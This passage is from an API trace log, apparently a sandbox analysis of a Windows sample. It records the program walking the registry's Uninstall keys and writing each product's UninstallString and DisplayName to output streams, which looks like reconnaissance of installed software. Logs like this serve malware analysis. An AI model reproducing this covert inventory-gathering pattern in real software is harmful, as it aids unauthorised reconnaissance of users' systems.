(lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.210] lstrlenA (lpString="Office14.PROPLUSR") returned 17 [0068.210] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x62b230 [0068.210] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.210] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Office14.PROPLUSR" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PROPLUSR") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PROPLUSR" [0068.210] LocalFree (hMem=0x626bd0) returned 0x0 [0068.210] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PROPLUSR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.210] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x80) returned 0x0 [0068.210] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x626e60 [0068.210] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef10*=0x80 | out: lpType=0x0, lpData=0x626e60*=0x22, lpcbData=0x12ef10*=0x80) returned 0x0 [0068.211] RegCloseKey (hKey=0x108) returned 0x0 [0068.211] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626e60*=0x22, cb=0x80, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x80) returned 0x0 [0068.211] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PROPLUSR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.211] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626e60 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x28) returned 0x0 [0068.211] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x626bd0 [0068.211] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626bd0, lpcbData=0x12ef0c*=0x28 | out: lpType=0x0, lpData=0x626bd0*=0x4d, lpcbData=0x12ef0c*=0x28) returned 0x0 [0068.211] RegCloseKey (hKey=0x108) returned 0x0 [0068.211] lstrlenA (lpString="Office14.PROPLUSR") returned 17 [0068.211] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x4f, cb=0x11, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x11) returned 0x0 [0068.211] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626bd0*=0x4d, cb=0x28, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x28) returned 0x0 [0068.211] LocalFree (hMem=0x626bd0) returned 0x0 [0068.211] LocalFree (hMem=0x626e60) returned 0x0 [0068.211] LocalFree (hMem=0x62b230) returned 0x0 [0068.211] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x12, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Office14.VISIOR", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.211] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.211] lstrlenA (lpString="\\") returned 1 [0068.211] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.211] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.211] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.211] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.211] lstrlenA (lpString="Office14.VISIOR") returned 15 [0068.211] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x626e60 [0068.211] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.211] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Office14.VISIOR" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.VISIOR") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.VISIOR" [0068.211] LocalFree (hMem=0x62b230) returned 0x0 [0068.211] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.VISIOR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.211] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x7e) returned 0x0 [0068.212] LocalAlloc (uFlags=0x40, uBytes=0xff) returned 0x62b230 [0068.212] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62b230, lpcbData=0x12ef10*=0x7e | out: lpType=0x0, lpData=0x62b230*=0x22, lpcbData=0x12ef10*=0x7e) returned 0x0 [0068.212] RegCloseKey (hKey=0x108) returned 0x0 [0068.212] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62b230*=0x22, cb=0x7e, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x7e) returned 0x0 [0068.212] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.VISIOR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.212] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62b230 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x22) returned 0x0 [0068.212] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x629248 [0068.212] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x22 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x22) returned 0x0 [0068.212] RegCloseKey (hKey=0x108) returned 0x0 [0068.212] lstrlenA (lpString="Office14.VISIOR") returned 15 [0068.212] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x4f, cb=0xf, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0xf) returned 0x0 [0068.212] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x22, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x22) returned 0x0 [0068.212] LocalFree (hMem=0x629248) returned 0x0 [0068.212] LocalFree (hMem=0x62b230) returned 0x0 [0068.212] LocalFree (hMem=0x626e60) returned 0x0 [0068.212] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x13, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.212] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.212] lstrlenA (lpString="\\") returned 1 [0068.212] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.212] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.212] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.212] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.212] lstrlenA (lpString="SchedulingAgent") returned 15 [0068.212] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x62b230 [0068.212] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.212] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="SchedulingAgent" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent" [0068.212] LocalFree (hMem=0x626e60) returned 0x0 [0068.212] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.212] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.212] RegCloseKey (hKey=0x108) returned 0x0 [0068.212] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.212] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.212] RegCloseKey (hKey=0x108) returned 0x0 [0068.212] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.213] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.213] RegCloseKey (hKey=0x108) returned 0x0 [0068.213] LocalFree (hMem=0x62b230) returned 0x0 [0068.213] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x14, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.213] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.213] lstrlenA (lpString="\\") returned 1 [0068.213] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.213] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.213] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.213] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.213] lstrlenA (lpString="WIC") returned 3 [0068.213] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x62b230 [0068.213] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.213] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="WIC" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC" [0068.213] LocalFree (hMem=0x626e60) returned 0x0 [0068.213] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.213] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.213] RegCloseKey (hKey=0x108) returned 0x0 [0068.213] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.213] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.213] RegCloseKey (hKey=0x108) returned 0x0 [0068.213] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.213] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.213] RegCloseKey (hKey=0x108) returned 0x0 [0068.213] LocalFree (hMem=0x62b230) returned 0x0 [0068.213] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x15, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.213] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.213] lstrlenA (lpString="\\") returned 1 [0068.213] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.213] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.213] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.213] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.213] lstrlenA (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0068.213] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x62b230 [0068.213] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.213] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}" [0068.213] LocalFree (hMem=0x626e60) returned 0x0 [0068.213] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.213] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.214] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626e60 [0068.214] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.214] RegCloseKey (hKey=0x108) returned 0x0 [0068.214] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626e60*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.214] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.214] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626e60 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3b) returned 0x0 [0068.214] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x62b318 [0068.214] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x62b318, lpcbData=0x12ef0c*=0x3b | out: lpType=0x0, lpData=0x62b318*=0x4d, lpcbData=0x12ef0c*=0x3b) returned 0x0 [0068.214] RegCloseKey (hKey=0x108) returned 0x0 [0068.214] lstrlenA (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0068.214] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.214] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x62b318*=0x4d, cb=0x3b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3b) returned 0x0 [0068.214] LocalFree (hMem=0x62b318) returned 0x0 [0068.214] LocalFree (hMem=0x626e60) returned 0x0 [0068.214] LocalFree (hMem=0x62b230) returned 0x0 [0068.214] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x16, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.214] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.214] lstrlenA (lpString="\\") returned 1 [0068.214] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.214] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.214] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.214] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.214] lstrlenA (lpString="{26A24AE4-039D-4CA4-87B4-2F83217045FF}") returned 38 [0068.214] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x62b230 [0068.214] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.214] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{26A24AE4-039D-4CA4-87B4-2F83217045FF}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F83217045FF}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F83217045FF}" [0068.214] LocalFree (hMem=0x626e60) returned 0x0 [0068.214] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F83217045FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.214] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.214] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626e60 [0068.214] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.215] RegCloseKey (hKey=0x108) returned 0x0 [0068.215] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626e60*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.215] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F83217045FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.215] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626e60 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x11) returned 0x0 [0068.215] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x624f80 [0068.215] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x11 | out: lpType=0x0, lpData=0x624f80*=0x4a, lpcbData=0x12ef0c*=0x11) returned 0x0 [0068.215] RegCloseKey (hKey=0x108) returned 0x0 [0068.215] lstrlenA (lpString="{26A24AE4-039D-4CA4-87B4-2F83217045FF}") returned 38 [0068.215] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.215] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x4a, cb=0x11, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x11) returned 0x0 [0068.215] LocalFree (hMem=0x624f80) returned 0x0 [0068.215] LocalFree (hMem=0x626e60) returned 0x0 [0068.215] LocalFree (hMem=0x62b230) returned 0x0 [0068.215] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x17, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.215] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.215] lstrlenA (lpString="\\") returned 1 [0068.215] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.215] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.215] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.215] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.215] lstrlenA (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0068.215] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626e60 [0068.215] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.215] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" 